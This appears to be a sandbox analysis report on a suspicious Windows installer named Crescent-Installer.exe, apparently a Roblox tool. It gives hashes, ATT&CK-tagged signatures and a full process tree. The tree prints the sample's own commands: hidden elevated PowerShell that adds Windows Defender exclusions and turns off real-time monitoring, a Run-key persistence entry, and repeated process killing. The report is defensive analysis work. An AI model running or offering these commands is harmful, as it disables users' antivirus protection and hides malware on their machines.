981a87dc29a849711f241de4a6b2089af88cc6f56d2ade35824c8e3148ef539d

Analysis

user interaction
yes
max time kernel
98s
max time network
88s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/10/2026, 12:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Crescent-Installer.exe
Size 4.6MB
Sample261009-pz7dmsgv81
SHA256 981a87dc29a849711f241de4a6b2089af88cc6f56d2ade35824c8e3148ef539d
MD5 a5e8676353ac96dfedd0dce9eef3a1be
SHA1 f2b94368e4e4ec338f13f528eff6e59b852f57c8
SHA512 9d4af4adf13edf626ad1d03ebcc3c0d665db73e3634d30e410bc9457d5381f05889974bebac5bfca28b63dd2aeecbba855fd2edad14552c113df50a6a9297033
SSDEEP 49152:fRK+lgTve2UmAyGvMrhqMH59guvy6dgqS+27q8v/JD4Bzrt5vVTGsK6y4ge9AuTI:fnmAytHbbgojzulayn+MT
TLSH
T103266C43F27180E8C06EC178C35AA633E7327889493476EB57E45B212F6AF906F2D759
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution trojan

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3936	powershell.exe
3824	powershell.exe
3868	powershell.exe
2080	powershell.exe
5744	powershell.exe
4456	powershell.exe
5912	powershell.exe
4804	powershell.exe
4516	powershell.exe
3936	powershell.exe
6124	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3868	powershell.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Crescent-Installer.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
129	raw.githubusercontent.com
130	raw.githubusercontent.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Discovers running processes 1 TTPs 11 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6036	tasklist.exe
4024	tasklist.exe
5024	tasklist.exe
3516	tasklist.exe
6004	tasklist.exe
3824	tasklist.exe
6052	tasklist.exe
6880	tasklist.exe
3396	tasklist.exe
2124	tasklist.exe
2816	tasklist.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Crescent-Installer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Crescent-Installer.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
2876	taskkill.exe
2568	taskkill.exe
5968	taskkill.exe
5816	taskkill.exe
4200	taskkill.exe
2272	taskkill.exe
4828	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
6112	reg.exe
884	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
4196	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4516	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4360	Crescent-Installer.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 4196	4360	Crescent-Installer.exe	86
PID 4196 wrote to memory of 4724	4196	msedgewebview2.exe	87
PID 4196 wrote to memory of 3260	4196	msedgewebview2.exe	92
PID 4196 wrote to memory of 3260	4196	msedgewebview2.exe	92
PID 4196 wrote to memory of 3260	4196	msedgewebview2.exe	92
PID 4196 wrote to memory of 2980	4196	msedgewebview2.exe	93
PID 4196 wrote to memory of 2308	4196	msedgewebview2.exe	94
PID 4196 wrote to memory of 2308	4196	msedgewebview2.exe	94
PID 4196 wrote to memory of 2732	4196	msedgewebview2.exe	95
PID 4196 wrote to memory of 2732	4196	msedgewebview2.exe	95
PID 4196 wrote to memory of 2732	4196	msedgewebview2.exe	95
PID 4360 wrote to memory of 4744	4360	Crescent-Installer.exe	105
PID 4744 wrote to memory of 3160	4744	net.exe	107
PID 4360 wrote to memory of 4804	4360	Crescent-Installer.exe	109
PID 4360 wrote to memory of 4516	4360	Crescent-Installer.exe	111

C:\Users\Admin\AppData\Local\Temp\Crescent-Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Crescent-Installer.exe"
1⤵
- Checks whether UAC is enabled
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Crescent-Installer.exe --webview-exe-version=1.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\best.getcrescent.installer\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --lang=en-US --mojo-named-platform-channel-pipe=4360.1672.1413852580832752605
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\best.getcrescent.installer\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\best.getcrescent.installer\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x15c,0x160,0x164,0x138,0x16c,0x7ffa34b3b078,0x7ffa34b3b084,0x7ffa34b3b090
    3⤵
    PID:4724
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\best.getcrescent.installer\EBWebView" --webview-exe-name=Crescent-Installer.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1720,i,5353599711628396367,13562164050421780001,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=1716 /prefetch:2
    3⤵
    PID:3260
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\best.getcrescent.installer\EBWebView" --webview-exe-name=Crescent-Installer.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2044,i,5353599711628396367,13562164050421780001,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:3
    3⤵
    PID:2980
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\best.getcrescent.installer\EBWebView" --webview-exe-name=Crescent-Installer.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2376,i,5353599711628396367,13562164050421780001,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:8
    3⤵
    PID:2308
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\best.getcrescent.installer\EBWebView" --webview-exe-name=Crescent-Installer.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3600,i,5353599711628396367,13562164050421780001,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
    3⤵
    PID:2732
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\crescent_defender_exclusions.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\crescent_create_shortcut.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4516
- C:\Users\Admin\AppData\Local\Temp\Crescent\Crescent.exe
  "C:\Users\Admin\AppData\Local\Temp\Crescent\Crescent.exe"
  2⤵
  PID:3604
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Crescent.exe --webview-exe-version=3.7.95 --user-data-dir="C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-devtools --disable-extensions --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --disable-remote-debugging --enable-features=msEdgeFluentOverlayScrollbar --lang=en-US --mojo-named-platform-channel-pipe=3604.3232.3145683720875930710
    3⤵
    PID:4800
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x160,0x164,0x168,0x13c,0x19c,0x7ffa34b3b078,0x7ffa34b3b084,0x7ffa34b3b090
      4⤵
      PID:3492
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView" --webview-exe-name=Crescent.exe --webview-exe-version=3.7.95 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1928,i,9463160126546569411,6447613875753559616,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
      4⤵
      PID:3508
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView" --webview-exe-name=Crescent.exe --webview-exe-version=3.7.95 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=1948,i,9463160126546569411,6447613875753559616,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=1520 /prefetch:3
      4⤵
      PID:4292
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView" --webview-exe-name=Crescent.exe --webview-exe-version=3.7.95 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2304,i,9463160126546569411,6447613875753559616,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:8
      4⤵
      PID:804
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView" --webview-exe-name=Crescent.exe --webview-exe-version=3.7.95 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3440,i,9463160126546569411,6447613875753559616,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:1
      4⤵
      PID:5244
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView" --webview-exe-name=Crescent.exe --webview-exe-version=3.7.95 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=412,i,9463160126546569411,6447613875753559616,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:1
      4⤵
      PID:5680
- - C:\Windows\system32\taskkill.exe
    "taskkill" /IM APIService.exe /F
    3⤵
    - Kills process with taskkill
    PID:2568
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq APIService.exe" /NH
    3⤵
    - Discovers running processes
    PID:3396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "$keywords = @('*Temp\Crescent*', '*Roblox\Versions*'); $exclusions = (Get-MpPreference).ExclusionPath; $missing = $keywords | Where-Object { $kw = $_; -not ($exclusions | Where-Object { $_ -like $kw }) }; if ($missing.Count -gt 0) { exit 1 } else { exit 0 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "$keywords = @('*Temp\Crescent*', '*Roblox\Versions*'); $exclusions = (Get-MpPreference).ExclusionPath; $missing = $keywords | Where-Object { $kw = $_; -not ($exclusions | Where-Object { $_ -like $kw }) }; if ($missing.Count -gt 0) { exit 1 } else { exit 0 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5744
- - C:\Windows\system32\reg.exe
    "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CrescentWorker /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Roblox\Versions\RobloxManager.exe\" /f
    3⤵
    - Modifies registry key
    PID:6112
- - C:\Users\Admin\AppData\Local\Roblox\Versions\RobloxManager.exe
    "C:\Users\Admin\AppData\Local\Roblox\Versions\RobloxManager.exe"
    3⤵
    PID:3132
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq APIService.exe" /NH
    3⤵
    - Discovers running processes
    PID:2124
- - C:\Windows\explorer.exe
    "explorer.exe" \\?\C:\Users\Admin\AppData\Local\Temp\Crescent\Bin\APIService.exe
    3⤵
    PID:3808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "Start-Process powershell -ArgumentList '-NoProfile','-Command','$entries = @(@{ Path = ''C:\Users\Admin\AppData\Local\Temp\Crescent''; Keyword = ''*Temp\Crescent*'' }, @{ Path = ''C:\Users\Admin\AppData\Local\Roblox\Versions''; Keyword = ''*Roblox\Versions*'' }, @{ Path = ''C:\Users\Admin\AppData\Roaming\win.nexomia''; Keyword = ''*Roaming\win.nexomia*'' }, @{ Path = ''C:\Users\Admin\AppData\Local\Temp\Nexomia.dll''; Keyword = ''*Temp\Nexomia.dll*'' }); foreach ($e in $entries) { $exclusions = (Get-MpPreference).ExclusionPath; $alreadyExcluded = $exclusions | Where-Object { $_ -like $e.Keyword }; if (-not $alreadyExcluded) { Add-MpPreference -ExclusionPath $e.Path; } }' -Verb RunAs -WindowStyle Hidden -Wait"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command $entries = @(@{ Path = 'C:\Users\Admin\AppData\Local\Temp\Crescent'; Keyword = '*Temp\Crescent*' }, @{ Path = 'C:\Users\Admin\AppData\Local\Roblox\Versions'; Keyword = '*Roblox\Versions*' }, @{ Path = 'C:\Users\Admin\AppData\Roaming\win.nexomia'; Keyword = '*Roaming\win.nexomia*' }, @{ Path = 'C:\Users\Admin\AppData\Local\Temp\Nexomia.dll'; Keyword = '*Temp\Nexomia.dll*' }); foreach ($e in $entries) { $exclusions = (Get-MpPreference).ExclusionPath; $alreadyExcluded = $exclusions | Where-Object { $_ -like $e.Keyword }; if (-not $alreadyExcluded) { Add-MpPreference -ExclusionPath $e.Path; } }
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3824
- - C:\Users\Admin\AppData\Local\Temp\Crescent\Crescent.exe
    "C:\Users\Admin\AppData\Local\Temp\Crescent\Crescent.exe"
    3⤵
    PID:728
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Crescent.exe --webview-exe-version=3.7.95 --user-data-dir="C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-devtools --disable-extensions --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --disable-remote-debugging --enable-features=msEdgeFluentOverlayScrollbar --lang=en-US --mojo-named-platform-channel-pipe=728.5208.8853725137201582150
      4⤵
      PID:5156
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\com.crescent.app\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x160,0x164,0x168,0x13c,0x194,0x7ffa34b3b078,0x7ffa34b3b084,0x7ffa34b3b090
        5⤵
        
        PID:5328
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CrescentWorker /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Roblox\Versions\RobloxManager.exe\" /f
      4⤵
      Modifies registry key
      PID:884
  - - C:\Windows\system32\tasklist.exe
      "tasklist" /FI "IMAGENAME eq APIService.exe" /NH
      4⤵
      Discovers running processes
      PID:6880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "$keywords = @('*Temp\Crescent*', '*Roblox\Versions*'); $exclusions = (Get-MpPreference).ExclusionPath; $missing = $keywords | Where-Object { $kw = $_; -not ($exclusions | Where-Object { $_ -like $kw }) }; if ($missing.Count -gt 0) { exit 1 } else { exit 0 }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5912
  - - C:\Windows\explorer.exe
      "explorer.exe" \\?\C:\Users\Admin\AppData\Local\Temp\Crescent\Bin\APIService.exe
      4⤵
      PID:7056
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq APIService.exe" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:2816
- - C:\Windows\system32\taskkill.exe
    "taskkill" /IM Nexomia.exe /F /T
    3⤵
    - Kills process with taskkill
    PID:5968
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq QuorumService.exe" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:3516
- - C:\Windows\system32\taskkill.exe
    "taskkill" /IM APIService.exe /F /T
    3⤵
    - Kills process with taskkill
    PID:4200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "Start-Process powershell -ArgumentList '-NoProfile','-Command','Set-MpPreference -DisableRealtimeMonitoring $true' -Verb RunAs -WindowStyle Hidden -Wait"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:3868
- - C:\Windows\system32\taskkill.exe
    "taskkill" /IM QuorumService.exe /F /T
    3⤵
    - Kills process with taskkill
    PID:5816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "$keywords = @('*Temp\Crescent*', '*Roblox\Versions*'); $exclusions = (Get-MpPreference).ExclusionPath; $missing = $keywords | Where-Object { $kw = $_; -not ($exclusions | Where-Object { $_ -like $kw }) }; if ($missing.Count -gt 0) { exit 1 } else { exit 0 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4456
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq APIService.exe" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:6036
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq QuorumService.exe" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:4024
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq APIService.exe" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:6004
- - C:\Windows\system32\taskkill.exe
    "taskkill" /IM Nexomia.exe /F /T
    3⤵
    - Kills process with taskkill
    PID:2272
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq QuorumService.exe" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5024
- - C:\Windows\system32\taskkill.exe
    "taskkill" /IM APIService.exe /F /T
    3⤵
    - Kills process with taskkill
    PID:4828
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq APIService.exe" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:3824
- - C:\Windows\system32\taskkill.exe
    "taskkill" /IM QuorumService.exe /F /T
    3⤵
    - Kills process with taskkill
    PID:2876
- - C:\Windows\system32\tasklist.exe
    "tasklist" /FI "IMAGENAME eq QuorumService.exe" /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:6052

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4108
- C:\Users\Admin\AppData\Local\Temp\Crescent\Bin\APIService.exe
  "C:\Users\Admin\AppData\Local\Temp\Crescent\Bin\APIService.exe"
  2⤵
  PID:5144

C:\Windows\system32\werfault.exe
werfault.exe /hc /shared Global\b9bf83394e274414987be9f3a97a81f6 /t 3880 /p 3840
1⤵
PID:5212

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:4200

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:6404
- C:\Users\Admin\AppData\Local\Temp\Crescent\Bin\APIService.exe
  "C:\Users\Admin\AppData\Local\Temp\Crescent\Bin\APIService.exe"
  2⤵
  PID:6364

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...